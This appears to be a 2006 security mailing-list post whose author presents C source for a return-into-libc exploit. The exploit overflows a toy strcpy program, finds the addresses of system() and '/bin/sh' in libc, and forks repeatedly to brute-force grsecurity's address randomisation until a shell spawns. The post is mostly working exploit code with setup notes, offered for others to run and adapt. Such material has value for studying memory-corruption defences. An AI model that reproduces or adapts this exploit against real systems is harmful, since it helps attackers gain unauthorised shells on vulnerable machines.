[SA-03] Example of Grsecurity protection avoid. Apr 17 2006 09:52PM
adam pinkhat org
I'm proud to introduce an example of return into libc exploit which works though grsecurity patch protection.

Please read source carefully and change some lines cause default version probably wont work on your machine.

-> This is example, remember it. ;)

/*
* Grsecurity bypass tryout - system("/bin/sh"); return into libc technique.
* Read source cause this is only an example.
* ---
*
* The simplest vulnerable program which was used to tests:
*
* int main(int argc, char *argv[])
* {
* char data[5];
*
* if(argc>1)
* strcpy(data,argv[1]);
* return 0;
* }
*
* Successfully tested under,
* - Linux Kernel |2.4.31| with Grsecurity patch |2.6.1|
* - GCC 3.3.6
* - LIBC 2.3.5-stable
*
* Attack time depends on your computer speed.
*
*
* Nikomu nie dziekuj, nikomu nie ufaj, licz tylko na siebie.
* ---
* Adam Simuntis <adam (at) pinkhat (dot) org [email concealed]>
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <linux/utsname.h>
#include <dlfcn.h>

//It is not constant value! Calculate for your system.
//If you dont know how, just leave.
#define offset 0x4000

//Space needed for overflow with system() and /bin/sh address.
#define ADDRESS_SPACE 16
#define PATH "./vuln"
#define SIZE 28
#define LIBC_TESTED "2.3.5"

#define GRSEC

char* get_sysname(void)
{
char *uts;
uts = malloc(sizeof(struct utsname));

uname((struct utsname*)uts);
return uts;
}

int main()
{
register int pid;

int status,
size = 0,
s = 0,
i = 0;

unsigned long sh,
shell,
ss=0,
addr=0,
sys_addr=0;

struct new_utsname *uts;

char *buffer,
*libc_ver,
*libc_rel,
*path = PATH;

void *libc;
void (*system)();

libc_ver = (char*)gnu_get_libc_version();
libc_rel = (char*)gnu_get_libc_release();

if(libc=dlopen("/lib/libc.so.6",RTLD_LAZY))
{
system = dlsym(libc,"system");
ss = (int)system;
addr = (int)system - offset;
}

uts = (struct new_utsname*)get_sysname();
size = SIZE;

printf("# Return into libc exploit by Adam Simuntis <adam (at) pinkhat (dot) org [email concealed]> |an example|\n"
"# Gathering info..\n");

s=size+ADDRESS_SPACE;
buffer = malloc(s);
sh = addr;
while(memcmp((void*)sh,"/bin/sh",8))
sh++;

shell = sh - offset;
sys_addr = ss - offset;

printf("\tLIBC: %s-%s\n",libc_ver,libc_rel);

printf("\t- got sysname: %s %s\n"
"\t- got system() addr: 0x%x\n"
"\t- got /bin/sh addr: 0x%x\n"
"\t~ system() - offset @: 0x%x\n"
"\t~ /bin/sh - offset @: 0x%x\n",uts->sysname,uts->release,(int)ss,(int)sh,(int)sys_addr,(int)she
ll);

if(strcmp(libc_ver,LIBC_TESTED))
printf("# Warning: Libc version %s was not tested. Program may not work correctly.\n",libc_ver);

printf("# Press enter to proceed attack or ctrl+c to cancel.");
getchar();

#ifdef GRSEC
printf("# Bypassing grsecurity protection\n\t~ wait for shell\n");
#endif

for(i = 0; i < s; i++)
buffer[i]='\x6e';

*(long *)&buffer[s-16] = addr;
*(long *)&buffer[s-12] = addr;
*(long *)&buffer[s-4] = shell;

//Waiting for address repeat
#ifdef GRSEC
while(1)
{
pid = fork();
if(pid == 0)
{
execl(path,path,buffer,0x00);
}
if(pid>0)
{
waitpid(pid,&status,WUNTRACED);
if(status == 0)
break;
}
if(pid<0)
{
printf("# Exploit failed. (resources)\n");
exit(1);
}
}
#else
execl(path,path,buffer,0x00);
#endif
free(buffer);
return 0;
}

Here is prove of successful attack:
http://satfilm.pl/~n30n/grsec.png